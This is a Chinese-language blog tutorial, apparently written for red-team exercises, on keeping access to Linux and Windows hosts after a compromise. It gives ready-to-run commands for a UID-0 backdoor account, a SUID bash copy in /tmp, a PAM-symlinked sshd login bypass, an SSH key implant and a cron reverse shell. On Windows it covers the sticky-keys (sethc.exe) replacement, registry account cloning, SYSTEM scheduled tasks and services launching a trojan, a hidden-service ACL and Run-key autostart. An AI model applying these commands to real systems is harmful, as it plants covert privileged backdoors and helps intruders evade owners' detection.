2024HW --->操作系统权限维持

前面不是说要讲隧道吗, 没错,我又鸽了🕊🕊🕊🕊,那么今天现在讲一下操作系统的权限维持!

在我们提权之后,或者说打穿了整个内网之后,我们需要做权限维持,那么权限维持就分为以下两大类 ----> Linux,Windows权限维持

linux权限维持

对于Linux的权限维持,一般可以分为以下几种方法(当然肯定不止)

1.添加特权账号

整个就是最简单的了,直接创建一个后门用户,然后我们就可以直接远程上去。

很简单,直接一句话就可以了

useradd -p `openssl passwd -1 -salt 'salt' 密码` 用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/用户名
useradd -p `openssl passwd -1 -salt 'salt' admin` baili -o -u 0 -g root -G root -s /bin/bash -d /home/baili

于是就能看见我们新创建的用户了 

然后我们就可以去ssh远程登录了,但是真的能连上吗???

其实这个要看不同的机器吧,有些机器不允许root用户远程登录!!!

那么我们就要去修改相应配置

vim  /etc/ssh/sshd_config

把上面的配置文件修改为下面

然后就能远程连接上去了

其实还有一个别的思路,我们完全可以创建一个普通用户(Linux不拦截普通用户远程登录),然后再去切换的root的用户(这个好像似乎更简单)

2.SUID维权

suid是什么我在之前讲过了

那么我们的思路就可以这样,将root的bash移动到一个地方!!

cp /bin/bash /tmp/.bash

然后放权,赋予suid权限

chmod 777 /tmp/.bash
chmod +s  /tmp/.bash

 成功赋权

然后我们随便用一个用户登录,然后cd到/tmp下

./.bash -p 

这样,随便的一个用户都能够以root的身份去开启一个bash

3.PAM软连接

这个提权方式就比较常见了,面试也经常会问道,那么下面我们先来讲一下什么是PAM

PAM 认证一般遵循这样的顺序: Service( 服务 ) PAM( 配置文件 ) pam_*.so PAM 认证首先要确定那一项服务, 然后加载相应的PAM 的配置文件 ( 位于 /etc/pam.d ) ,最后调用认证文件 ( 位于 /lib/security ) 进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM 模块进行认证。对于不同的服务器应用程序所对应的PAM 模块也是不同的。
然后,就是软连接
软连接称之为符号连接( Symbolic Link ),也叫软连接。软链接文件有类似于 Windows 的快捷方式。它实际上是 一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
感觉学废了???? 没事我来说个人话

软连接其实就是一种快捷方式,像Windows一样,我们通过访问这个快捷方式就可以访问到对应的程序或者服务。

然后这个原理就是:

如果在目录pam.d下某个文件配置了pam_rootok的话,若UID为0用户就会直接返回成功

开始操作!!!

cat /etc/ssh/sshd_config|grep UsePAM

基本上都是开启的。

然后我们就可以去pmd.m文件下哪些文件配置了pam_rootok这个特性

find /etc/pam.d |xargs grep "pam_rootok"

然后以root身份去建立软连接

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=61861(这个端口你可以自己写)

然后我们就可以去免密码登录了(也不是免密,就是要随便输入一个密码)

这样,就是我们的PAM软连接了,流程也就是这样子
当我们以root去连接 chsh的时候,其实就是在以UID为0的身份去访问ssh,又因为pam_rootok的特性,就会直接认证成功,实现免密登录

4.SSHKey公私钥

这个的原理如下

用户将自己的 公钥储存在远程主机上 。登录的时候,远程主机会向用户发送一段
随机字符串, 用户用自己的私钥加密后, 再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell ,不再要求密码。
那么我们话不多说,直接进入实战!!
先在本地的Windows去生成一对公私钥
ssh-keygen

然后我们去看一下生成的公钥,并且把他传到服务器上

然后我们把这个key写到/root/.ssh/authorized_keys这个文件中

如果没有 .ssh这个文件夹的话,我们可以先mkdir一下

然后我们登录都不用密码了

这个,就是sshkey的公私钥连接维权

5.计划任务维权

接着,就到我们的计划任务维权了。

这个就不用多说了吧,还是去 /etc/crontab下写一个反弹shell的计划任务就好

Windows权限维持

对于Windows的权限维持,那可就比Linux多的太多了,这里只讲几个比较常用的

1.隐藏用户维持

对于隐藏用户维持,我们有两种方法!!

1.$隐藏用户

这个是最简单的方法,但同时也是最容易被发现的一种方法!

首先我们只有三个用户

开始创建一个 $隐藏用户

这时候我们再去查看,是发现看不见的

但是无论是在注册表,还是控制面板的管理用户都是能看见的(隐蔽性不好)

2.注册表克隆账户隐藏

这个的原理就是克隆管理员的注册表!!

首先我们还是先去创建一个普通账号

然后我们去注册表

  先将这个用户进行导出

然后找到这个用户和administrator的F值,复制administrator的f值

把他粘贴到我们创建用户的F值,并且导出

   

最后,在删除了这个用户之后,依次点击这两个注册表

然后我们就可以用这个用户登录进来了,而且是administrator的权限

当然了,我这里没有把他设置为隐藏用户,所以是能看见的,我们只需要在前一个方法下再去执行这个方法,就能达到更好的隐藏效果!!!  不过注册表和wmic都还是能看见

2.Shift后门

这个也算是一种比较出名的权限维持的方法了,快速敲击你的shift五下,就能弹出这个

它的原理就是调用了C:\windows\system32\sethc.exe 这个应用,我们只需要将他替换成cmd就行

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是就算你是administrator也会发现,拒绝访问!!!

但是我们可以敲这样的命令,不过这两个命令响应的会有一点久,可能要等一会

takeown /f c:\windows\system32\*.* /a /r /d y    //强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)
cacls c:\windows\system32\*.* /T /E /G administrators:F   //在当前目录下的文件、子文件夹的NTFS权限上添加管理员组(administrators)完全控制权限

然后再去执行一下上面的命令

然后此时,我们注销,然后去登录

就能发现这个权限是直接以system去启动的,可以创建一个账户登进去

3.计划任务维持

计划任务我们再权限维持和权限提升的时候我们都不陌生,那么我们话不多说,直接演示吧

假设我们给目标远程传了一个木马,然后我们就可以通过计划任务进行权限维持

schtasks /create /tn "计划任务的名字" /tr "运行的命令" /sc onstart /ru System

这条命令就是就是在机的时候,以system权限去运行我们的命令,其实可以是无文件落地,也可以是运行一个木马程序。

schtasks /create /tn "torjan" /tr "C:\Users\administrator\Desktop\funny_torjan.exe" /sc onstart /ru System

然后我们去计划任务里面也是能看见的

然后假设用户重启了,可以看见下线了

于是就能看见直接上线了。。

4.系统服务权限维持

那既然都有计划任务了,那服务怎么可能跑的了呢???

sc create 服务名字 start= auto binPath= "cmd.exe /c 执行的命令" obj= Localsystem
sc create shell start= auto binPath= "cmd.exe /c C:\Users\administrator\Desktop\funny_torjan.exe " obj= Localsystem

当然,如果你想伪装一下的话还可以增加描述

sc description "服务名字" "对应的描述"

设置隐藏

sc sdset 服务名字 "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们直接重启就好

直接上线(还有一个是计划任务的)

5.启动项维权

这个启动项目维权可以分为两个

1.组策略维权

我们可以在gpedit.msc 里面找到这样的组策略的启动项

然后我们添加我们对应的脚本就好

2.启动文件夹维权

这个就是在系统每次启动的时候,都会去加载这些文件夹,你只需要去在这些文件夹下面放上你的恶意木马,或则对应的脚本即可

3.注册表维持

除了上面的两种方式,我们还可以篡改他的注册表(自启动)

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\administrator\Desktop\funny_torjan.exe"

然后我们再去重启,不出以外的话会有四个beacon上线(打脸,只有三个)

不过也不重要,你挑着来用就好

  • 16
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值